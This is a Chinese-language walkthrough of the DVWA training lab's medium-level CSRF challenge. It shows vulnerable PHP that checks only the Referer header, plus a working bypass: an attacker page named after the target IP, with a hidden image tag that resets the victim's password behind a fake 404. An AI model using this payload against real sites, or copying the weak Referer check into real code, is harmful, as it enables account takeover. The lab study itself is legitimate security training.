DVWA-3.2 CSRF（跨站請求偽造）-Medium-繞過Referer驗證

Medium Level

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<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            $html .= "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            $html .= "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        $html .= "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

相關函數說明

stripos(string,find,start)

返回字符串在另一字符串中第一次出現的位置（不區分大小寫），如果沒有找到字符串則返回 FALSE。

可以看到，Medium級別的代碼檢查了保留變量 HTTP_REFERER（http包頭的Referer參數的值，表示來源地址）中是否包含SERVER_NAME（http包頭的Host參數，及要訪問的主機名，這里是127.0.0.1），希望通過這種機制抵御CSRF攻擊。

 

漏洞利用

過濾規則是http包頭的Referer參數的值中必須包含主機名（這里是172.16.134.26）

我們可以將攻擊頁面命名為172.16.134.26.html（頁面被放置在攻擊者的服務器里，這里是172.16.135.47）就可以繞過了

<img src="http://172.16.134.26/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

攻擊者誘使受害者點擊鏈接

下面是Fiddler截圖

Referer參數完美繞過過濾規則，密碼修改成功。

 

參考：https://www.freebuf.com/articles/web/118352.html